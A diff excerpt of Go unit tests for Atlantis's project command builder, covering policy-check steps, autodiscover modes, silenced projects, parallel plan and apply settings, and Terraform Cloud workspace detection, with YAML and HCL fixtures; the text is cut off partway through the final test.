+ }) + } + }) + } +} + +func TestBuildProjectCmdCtx_WithPolicCheckEnabled(t *testing.T) { + logger := logging.NewNoopLogger(t) + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + emptyPolicySets := valid.PolicySets{ + Version: nil, + PolicySets: []valid.PolicySet{}, + } + baseRepo := models.Repo{ + FullName: "owner/repo", + VCSHost: models.VCSHost{ + Hostname: "github.com", + }, + } + pull := models.PullRequest{ + BaseRepo: baseRepo, + } + cases := map[string]struct { + globalCfg string + repoCfg string + expErr string + expCtx command.ProjectContext + expPolicyCheckSteps []string + }{ + // Test that if we've set global defaults and no project config + // that the global defaults are used. + "global defaults": { + globalCfg: ` +repos: +- id: /.*/ +`, + repoCfg: "", + expCtx: command.ProjectContext{ + ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", + BaseRepo: baseRepo, + EscapedCommentArgs: []string{`\f\l\a\g`}, + AutomergeEnabled: false, + AutoplanEnabled: true, + HeadRepo: models.Repo{}, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, + Pull: pull, + ProjectName: "", + PlanRequirements: []string{"policies_passed"}, + ApplyRequirements: []string{"policies_passed"}, + ImportRequirements: []string{"policies_passed"}, + RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", + RepoRelDir: "project1", + User: models.User{}, + Verbose: true, + Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, + }, + expPolicyCheckSteps: []string{"show", "policy_check"}, + }, + + // If the repos are allowed to set everything then their config should + // come through. + "full repo permissions": { + globalCfg: ` +repos: +- id: /.*/ + workflow: default + apply_requirements: [approved] + allowed_overrides: [apply_requirements, workflow] + allow_custom_workflows: true +workflows: + default: + policy_check: + steps: [] +`, + repoCfg: ` +version: 3 +automerge: true +projects: +- dir: project1 + workspace: myworkspace + autoplan: + enabled: true + when_modified: [../modules/**/*.tf] + terraform_version: v10.0 + apply_requirements: [] + workflow: custom +workflows: + custom: + policy_check: + steps: + - policy_check +`, + expCtx: command.ProjectContext{ + ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", + BaseRepo: baseRepo, + EscapedCommentArgs: []string{`\f\l\a\g`}, + AutomergeEnabled: true, + AutoplanEnabled: true, + HeadRepo: models.Repo{}, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, + Pull: pull, + ProjectName: "", + PlanRequirements: []string{"policies_passed"}, + ApplyRequirements: []string{"policies_passed"}, + ImportRequirements: []string{"policies_passed"}, + RepoConfigVersion: 3, + RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", + RepoRelDir: "project1", + TerraformVersion: mustVersion("v10.0"), + User: models.User{}, + Verbose: true, + Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, + PolicySetTarget: "", + }, + expPolicyCheckSteps: []string{"policy_check"}, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := DirStructure(t, map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "modules": map[string]interface{}{ + "module": map[string]interface{}{ + "main.tf": nil, + }, + }, + }) + + workingDir := NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmp, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) + + // Write and parse the global config file. + globalCfgPath := filepath.Join(tmp, "global.yaml") + Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) + parser := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{ + PolicyCheckEnabled: true, + } + + globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + + if c.repoCfg != "" { + Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) + } + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + + terraformClient := tfclientmocks.NewMockClient() + + builder := NewProjectCommandBuilder( + true, + parser, + &DefaultProjectFinder{}, + vcsClient, + workingDir, + NewDefaultWorkingDirLocker(), + globalCfg, + &DefaultPendingPlanFinder{}, + &CommentParser{ExecutableName: "atlantis"}, + false, + false, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + false, + false, + "auto", + statsScope, + terraformClient, + ) + + cmd := command.PolicyCheck + t.Run(cmd.String(), func(t *testing.T) { + ctxs, err := builder.buildProjectCommandCtx(&command.Context{ + Log: logger, + Scope: statsScope, + Pull: models.PullRequest{ + BaseRepo: baseRepo, + }, + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + }, command.Plan, "", "", []string{"flag"}, tmp, "project1", "myworkspace", true) + + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + + Ok(t, err) + ctx := ctxs[1] + + // Construct expected steps. + var stepNames []string + var expSteps []valid.Step + + stepNames = c.expPolicyCheckSteps + for _, stepName := range stepNames { + expSteps = append(expSteps, valid.Step{ + StepName: stepName, + }) + } + + c.expCtx.CommandName = cmd + // Init fields we couldn't in our cases map. + c.expCtx.Steps = expSteps + ctx.PolicySets = emptyPolicySets + + // Job ID cannot be compared since its generated at random + ctx.JobID = "" + + Equals(t, c.expCtx, ctx) + // Equals() doesn't compare TF version properly so have to + // use .String(). + if c.expCtx.TerraformVersion != nil { + Equals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String()) + } + }) + }) + } +} + +func TestBuildProjectCmdCtx_WithSilenceNoProjects(t *testing.T) { + globalCfg := ` +repos: +- id: /.*/ +` + logger := logging.NewNoopLogger(t) + baseRepo := models.Repo{ + FullName: "owner/repo", + VCSHost: models.VCSHost{ + Hostname: "github.com", + }, + } + cases := map[string]struct { + repoCfg string + expLen int + }{ + // One project matches the repo cfg, return it + "matching project": { + repoCfg: ` +version: 3 +automerge: true +projects: +- dir: project1 + workspace: myworkspace +`, + expLen: 1, + }, + // No project matches the repo cfg, ignore it + "no matching project": { + repoCfg: ` +version: 3 +automerge: true +projects: +- dir: project2 + workspace: myworkspace +`, + expLen: 0, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := DirStructure(t, map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "modules": map[string]interface{}{ + "module": map[string]interface{}{ + "main.tf": nil, + }, + }, + }) + + workingDir := NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmp, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) + + // Write and parse the global config file. + globalCfgPath := filepath.Join(tmp, "global.yaml") + Ok(t, os.WriteFile(globalCfgPath, []byte(globalCfg), 0600)) + parser := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + + globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + + if c.repoCfg != "" { + Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) + } + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + + terraformClient := tfclientmocks.NewMockClient() + + builder := NewProjectCommandBuilder( + false, + parser, + &DefaultProjectFinder{}, + vcsClient, + workingDir, + NewDefaultWorkingDirLocker(), + globalCfg, + &DefaultPendingPlanFinder{}, + &CommentParser{ExecutableName: "atlantis"}, + false, + false, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + true, + false, + "auto", + statsScope, + terraformClient, + ) + + for _, cmd := range []command.Name{command.Plan, command.Apply} { + t.Run(cmd.String(), func(t *testing.T) { + ctxs, err := builder.buildProjectCommandCtx(&command.Context{ + Log: logger, + Scope: statsScope, + Pull: models.PullRequest{ + BaseRepo: baseRepo, + }, + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + }, cmd, "", "", []string{}, tmp, "project1", "myworkspace", true) + Equals(t, c.expLen, len(ctxs)) + Ok(t, err) + }) + } + }) + } +} + +func TestBuildProjectCmdCtx_AutoDiscoverRespectsRepoConfig(t *testing.T) { + logger := logging.NewNoopLogger(t) + cases := map[string]struct { + globalCfg string + repoCfg string + modifiedFiles []string + expLen int + }{ + "autodiscover disabled": { + globalCfg: ` +repos: +- id: /.*/ + autodiscover: + mode: disabled +`, + repoCfg: ` +version: 3 +automerge: true +`, + modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, + expLen: 0, + }, + "autodiscover auto": { + globalCfg: ` +repos: +- id: /.*/ + autodiscover: + mode: auto +`, + repoCfg: ` +version: 3 +automerge: true +projects: +- dir: project1 + workspace: myworkspace +`, + modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, + expLen: 1, + }, + "autodiscover enabled": { + globalCfg: ` +repos: +- id: /.*/ + autodiscover: + mode: enabled +`, + repoCfg: ` +version: 3 +automerge: true +projects: +- dir: project1 + workspace: myworkspace +`, + modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, + expLen: 3, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := DirStructure(t, map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "project2": map[string]interface{}{ + "main.tf": nil, + }, + "project3": map[string]interface{}{ + "main.tf": nil, + }, + }) + + workingDir := NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmp, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(c.modifiedFiles, nil) + + // Write and parse the global config file. + globalCfgPath := filepath.Join(tmp, "global.yaml") + Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) + parser := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: false, + } + + globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + + if c.repoCfg != "" { + Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) + } + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + + terraformClient := tfclientmocks.NewMockClient() + + builder := NewProjectCommandBuilder( + false, + parser, + &DefaultProjectFinder{}, + vcsClient, + workingDir, + NewDefaultWorkingDirLocker(), + globalCfg, + &DefaultPendingPlanFinder{}, + &CommentParser{ExecutableName: "atlantis"}, + false, + false, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + true, + false, + "auto", + statsScope, + terraformClient, + ) + + ctxs, err := builder.BuildPlanCommands( + &command.Context{ + Log: logger, + Scope: statsScope, + }, + &CommentCommand{ + RepoRelDir: "", + Flags: nil, + Name: command.Plan, + Verbose: false, + }, + ) + Equals(t, c.expLen, len(ctxs)) + Ok(t, err) + + }) + } +} + func mustVersion(v string) *version.Version { vers, err := version.NewVersion(v) if err != nil { diff --git a/server/events/project_command_builder_test.go b/server/events/project_command_builder_test.go index 5cafdc8dbe..67da74e681 100644 --- a/server/events/project_command_builder_test.go +++ b/server/events/project_command_builder_test.go @@ -1,24 +1,67 @@ package events_test import ( - "fmt" - "io/ioutil" + "os" "path/filepath" + "sort" "strings" "testing" - . "github.com/petergtz/pegomock" + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/matchers" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/runatlantis/atlantis/server/events/yaml/valid" "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" . "github.com/runatlantis/atlantis/testing" ) +var defaultUserConfig = struct { + SkipCloneNoChanges bool + EnableRegExpCmd bool + EnableAutoMerge bool + EnableParallelPlan bool + EnableParallelApply bool + AutoDetectModuleFiles string + AutoplanFileList string + RestrictFileList bool + SilenceNoProjects bool + IncludeGitUntrackedFiles bool + AutoDiscoverMode string +}{ + SkipCloneNoChanges: false, + EnableRegExpCmd: false, + EnableAutoMerge: false, + EnableParallelPlan: false, + EnableParallelApply: false, + AutoDetectModuleFiles: "", + AutoplanFileList: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + RestrictFileList: false, + SilenceNoProjects: false, + IncludeGitUntrackedFiles: false, + AutoDiscoverMode: "auto", +} + +func ChangedFiles(dirStructure map[string]interface{}, parent string) []string { + var files []string + for k, v := range dirStructure { + switch v := v.(type) { + case map[string]interface{}: + files = append(files, ChangedFiles(v, k)...) + default: + files = append(files, filepath.Join(parent, k)) + } + } + return files +} + func TestDefaultProjectCommandBuilder_BuildAutoplanCommands(t *testing.T) { // expCtxFields define the ctx fields we're going to assert on. // Since we're focused on autoplanning here, we don't validate all the @@ -28,11 +71,16 @@ func TestDefaultProjectCommandBuilder_BuildAutoplanCommands(t *testing.T) { RepoRelDir string Workspace string } + defaultTestDirStructure := map[string]interface{}{ + "main.tf": nil, + } + cases := []struct { - Description string - AtlantisYAML string - ServerSideYAML string - exp []expCtxFields + Description string + AtlantisYAML string + ServerSideYAML string + TestDirStructure map[string]interface{} + exp []expCtxFields }{ { Description: "simple atlantis.yaml", @@ -41,6 +89,7 @@ version: 3 projects: - dir: . `, + TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", @@ -65,6 +114,7 @@ projects: name: myname workspace: myworkspace2 `, + TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", @@ -93,6 +143,7 @@ projects: - dir: . workspace: myworkspace2 `, + TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", @@ -113,44 +164,139 @@ version: 3 projects: - dir: mydir `, - exp: nil, + TestDirStructure: defaultTestDirStructure, + exp: nil, + }, + { + Description: "workspaces from subdirectories detected", + TestDirStructure: map[string]interface{}{ + "work": map[string]interface{}{ + "main.tf": ` +terraform { + cloud { + organization = "atlantis-test" + workspaces { + name = "test-workspace1" + } + } +}`, + }, + "test": map[string]interface{}{ + "main.tf": ` +terraform { + cloud { + organization = "atlantis-test" + workspaces { + name = "test-workspace12" + } + } +}`, + }, + }, + exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: "test", + Workspace: "test-workspace12", + }, + { + ProjectName: "", + RepoRelDir: "work", + Workspace: "test-workspace1", + }, + }, + }, + { + Description: "workspaces in parent directory are detected", + TestDirStructure: map[string]interface{}{ + "main.tf": ` +terraform { + cloud { + organization = "atlantis-test" + workspaces { + name = "test-workspace" + } + } +}`, + }, + exp: []expCtxFields{ + { + ProjectName: "", + RepoRelDir: ".", + Workspace: "test-workspace", + }, + }, }, } + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + + terraformClient := tfclientmocks.NewMockClient() + for _, c := range cases { t.Run(c.Description, func(t *testing.T) { RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ - "main.tf": nil, - }) - defer cleanup() - + tmpDir := DirStructure(t, c.TestDirStructure) workingDir := mocks.NewMockWorkingDir() - When(workingDir.Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, false, nil) + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn([]string{"main.tf"}, nil) + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn(ChangedFiles(c.TestDirStructure, ""), nil) if c.AtlantisYAML != "" { - err := ioutil.WriteFile(filepath.Join(tmpDir, yaml.AtlantisYAMLFilename), []byte(c.AtlantisYAML), 0600) + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: vcsClient, - ProjectFinder: &events.DefaultProjectFinder{}, - PendingPlanFinder: &events.DefaultPendingPlanFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(false, false, false), - SkipCloneNoChanges: false, - } + globalCfgArgs := valid.GlobalCfgArgs{} - ctxs, err := builder.BuildAutoplanCommands(&events.CommandContext{ - PullMergeable: true, + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.EnableAutoMerge, + userConfig.EnableParallelPlan, + userConfig.EnableParallelApply, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverMode, + scope, + terraformClient, + ) + + ctxs, err := builder.BuildAutoplanCommands(&command.Context{ + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + Log: logger, + Scope: scope, }) Ok(t, err) Equals(t, len(c.exp), len(ctxs)) + + // Sort so comparisons are deterministic + sort.Slice(ctxs, func(i, j int) bool { + if ctxs[i].ProjectName != ctxs[j].ProjectName { + return ctxs[i].ProjectName < ctxs[j].ProjectName + } + if ctxs[i].RepoRelDir != ctxs[j].RepoRelDir { + return ctxs[i].RepoRelDir < ctxs[j].RepoRelDir + } + return ctxs[i].Workspace < ctxs[j].Workspace + }) for i, actCtx := range ctxs { expCtx := c.exp[i] Equals(t, expCtx.ProjectName, actCtx.ProjectName) @@ -164,22 +310,31 @@ projects: // Test building a plan and apply command for one project. func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand(t *testing.T) { cases := []struct { - Description string - AtlantisYAML string - Cmd events.CommentCommand - ExpCommentArgs []string - ExpWorkspace string - ExpDir string - ExpProjectName string - ExpErr string - ExpApplyReqs []string + Description string + AtlantisYAML string + Cmd events.CommentCommand + Silenced bool + ExpCommentArgs []string + ExpWorkspace string + ExpDir string + ExpProjectName string + ExpErr string + ExpApplyReqs []string + EnableAutoMergeUserCfg bool + AutoDiscoverModeUserCfg string + EnableParallelPlanUserCfg bool + EnableParallelApplyUserCfg bool + ExpAutoMerge bool + ExpParallelPlan bool + ExpParallelApply bool + ExpNoProjects bool }{ { Description: "no atlantis.yaml", Cmd: events.CommentCommand{ RepoRelDir: ".", Flags: []string{"commentarg"}, - Name: models.PlanCommand, + Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: "", @@ -192,7 +347,7 @@ func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand(t *testing.T) Description: "no atlantis.yaml with project flag", Cmd: events.CommentCommand{ RepoRelDir: ".", - Name: models.PlanCommand, + Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: "", @@ -202,7 +357,7 @@ func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand(t *testing.T) Description: "simple atlantis.yaml", Cmd: events.CommentCommand{ RepoRelDir: ".", - Name: models.PlanCommand, + Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` @@ -219,7 +374,7 @@ projects: Description: "atlantis.yaml wrong dir", Cmd: events.CommentCommand{ RepoRelDir: ".", - Name: models.PlanCommand, + Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` @@ -236,7 +391,7 @@ projects: Description: "atlantis.yaml wrong workspace", Cmd: events.CommentCommand{ RepoRelDir: ".", - Name: models.PlanCommand, + Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` @@ -250,7 +405,7 @@ projects: { Description: "atlantis.yaml with projectname", Cmd: events.CommentCommand{ - Name: models.PlanCommand, + Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` @@ -268,7 +423,7 @@ projects: { Description: "atlantis.yaml with mergeable apply requirement", Cmd: events.CommentCommand{ - Name: models.PlanCommand, + Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` @@ -286,7 +441,7 @@ projects: { Description: "atlantis.yaml with mergeable and approved apply requirements", Cmd: events.CommentCommand{ - Name: models.PlanCommand, + Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` @@ -304,7 +459,7 @@ projects: { Description: "atlantis.yaml with multiple dir/workspaces matching", Cmd: events.CommentCommand{ - Name: models.PlanCommand, + Name: command.Plan, RepoRelDir: ".", Workspace: "myworkspace", }, @@ -319,12 +474,27 @@ projects: dir: . workspace: myworkspace `, - ExpErr: "must specify project name: more than one project defined in atlantis.yaml matched dir: \".\" workspace: \"myworkspace\"", + ExpErr: "must specify project name: more than one project defined in 'atlantis.yaml' matched dir: '.' workspace: 'myworkspace'", }, { Description: "atlantis.yaml with project flag not matching", Cmd: events.CommentCommand{ - Name: models.PlanCommand, + Name: command.Plan, + RepoRelDir: ".", + Workspace: "default", + ProjectName: "notconfigured", + }, + AtlantisYAML: ` +version: 3 +projects: +- dir: . +`, + ExpErr: "no project with name 'notconfigured' is defined in 'atlantis.yaml'", + }, + { + Description: "atlantis.yaml with project flag not matching but silenced", + Cmd: events.CommentCommand{ + Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "notconfigured", @@ -334,47 +504,155 @@ version: 3 projects: - dir: . `, - ExpErr: "no project with name \"notconfigured\" is defined in atlantis.yaml", + Silenced: true, + ExpNoProjects: true, + }, + { + Description: "atlantis.yaml with ParallelPlan Set to true", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: ".", + Workspace: "default", + ProjectName: "myproject", + }, + AtlantisYAML: ` +version: 3 +parallel_plan: true +projects: +- name: myproject + dir: . + workspace: myworkspace +`, + ExpParallelPlan: true, + ExpParallelApply: false, + ExpDir: ".", + ExpWorkspace: "myworkspace", + ExpProjectName: "myproject", + ExpApplyReqs: []string{}, + }, + { + Description: "atlantis.yaml with ParallelPlan/apply and Automerge not set, but set in user conf", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: ".", + Workspace: "default", + ProjectName: "myproject", + }, + AtlantisYAML: ` +version: 3 +projects: +- name: myproject + dir: . + workspace: myworkspace +`, + EnableAutoMergeUserCfg: true, + EnableParallelPlanUserCfg: true, + EnableParallelApplyUserCfg: true, + ExpAutoMerge: true, + ExpParallelPlan: true, + ExpParallelApply: true, + ExpDir: ".", + ExpWorkspace: "myworkspace", + ExpProjectName: "myproject", + ExpApplyReqs: []string{}, + }, + { + Description: "atlantis.yaml with ParallelPlan/apply and Automerge set to false, but set to true in user conf", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: ".", + Workspace: "default", + ProjectName: "myproject", + }, + AtlantisYAML: ` +version: 3 +automerge: false +parallel_plan: false +parallel_apply: false +projects: +- name: myproject + dir: . + workspace: myworkspace +`, + EnableAutoMergeUserCfg: true, + EnableParallelPlanUserCfg: true, + EnableParallelApplyUserCfg: true, + ExpAutoMerge: false, + ExpParallelPlan: false, + ExpParallelApply: false, + ExpDir: ".", + ExpWorkspace: "myworkspace", + ExpProjectName: "myproject", + ExpApplyReqs: []string{}, }, } + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + userConfig := defaultUserConfig + for _, c := range cases { // NOTE: we're testing both plan and apply here. - for _, cmdName := range []models.CommandName{models.PlanCommand, models.ApplyCommand} { + for _, cmdName := range []command.Name{command.Plan, command.Apply} { t.Run(c.Description+"_"+cmdName.String(), func(t *testing.T) { RegisterMockTestingT(t) - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ + tmpDir := DirStructure(t, map[string]interface{}{ "main.tf": nil, }) - defer cleanup() workingDir := mocks.NewMockWorkingDir() - When(workingDir.Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, false, nil) - When(workingDir.GetWorkingDir(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmpDir, nil) + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmpDir, nil) + When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn([]string{"main.tf"}, nil) + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) if c.AtlantisYAML != "" { - err := ioutil.WriteFile(filepath.Join(tmpDir, yaml.AtlantisYAMLFilename), []byte(c.AtlantisYAML), 0600) + err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } - builder := &events.DefaultProjectCommandBuilder{ - WorkingDirLocker: events.NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: &yaml.ParserValidator{}, - VCSClient: vcsClient, - ProjectFinder: &events.DefaultProjectFinder{}, - CommentBuilder: &events.CommentParser{}, - GlobalCfg: valid.NewGlobalCfg(true, false, false), - SkipCloneNoChanges: false, + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, } - var actCtxs []models.ProjectCommandContext + terraformClient := tfclientmocks.NewMockClient() + + builder := events.NewProjectCommandBuilder( + false, + &config.ParserValidator{}, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + events.NewDefaultWorkingDirLocker(), + valid.NewGlobalCfgFromArgs(globalCfgArgs), + &events.DefaultPendingPlanFinder{}, + &events.CommentParser{ExecutableName: "atlantis"}, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + c.EnableAutoMergeUserCfg, + c.EnableParallelPlanUserCfg, + c.EnableParallelApplyUserCfg, + userConfig.AutoDetectModuleFiles, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + c.Silenced, + userConfig.IncludeGitUntrackedFiles, + c.AutoDiscoverModeUserCfg, + scope, + terraformClient, + ) + + var actCtxs []command.ProjectContext var err error - if cmdName == models.PlanCommand { - actCtxs, err = builder.BuildPlanCommands(&events.CommandContext{}, &c.Cmd) + cmd := c.Cmd + if cmdName == command.Plan { + actCtxs, err = builder.BuildPlanCommands(&command.Context{ + Log: logger, + Scope: scope, + }, &cmd) } else { - actCtxs, err = builder.BuildApplyCommands(&events.CommandContext{}, &c.Cmd) + actCtxs, err = builder.BuildApplyCommands(&command.Context{Log: logger, Scope: scope}, &cmd) } if c.ExpErr != "" { @@ -382,6 +660,10 @@ projects: return } Ok(t, err) + if c.ExpNoProjects { + Equals(t, 0, len(actCtxs)) + return + } Equals(t, 1, len(actCtxs)) actCtx := actCtxs[0] Equals(t, c.ExpDir, actCtx.RepoRelDir) @@ -389,25 +671,205 @@ projects: Equals(t, c.ExpCommentArgs, actCtx.EscapedCommentArgs) Equals(t, c.ExpProjectName, actCtx.ProjectName) Equals(t, c.ExpApplyReqs, actCtx.ApplyRequirements) + Equals(t, c.ExpAutoMerge, actCtx.AutomergeEnabled) + Equals(t, c.ExpParallelPlan, actCtx.ParallelPlanEnabled) + Equals(t, c.ExpParallelApply, actCtx.ParallelApplyEnabled) }) } } } +// Test building a plan and apply command for one project +// with the RestrictFileList +func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand_WithRestrictFileList(t *testing.T) { + cases := []struct { + Description string + AtlantisYAML string + DirectoryStructure map[string]interface{} + ModifiedFiles []string + Cmd events.CommentCommand + ExpErr string + }{ + { + Description: "planning a file outside of the changed files", + Cmd: events.CommentCommand{ + Name: command.Plan, + RepoRelDir: "directory-1", + Workspace: "default", + }, + 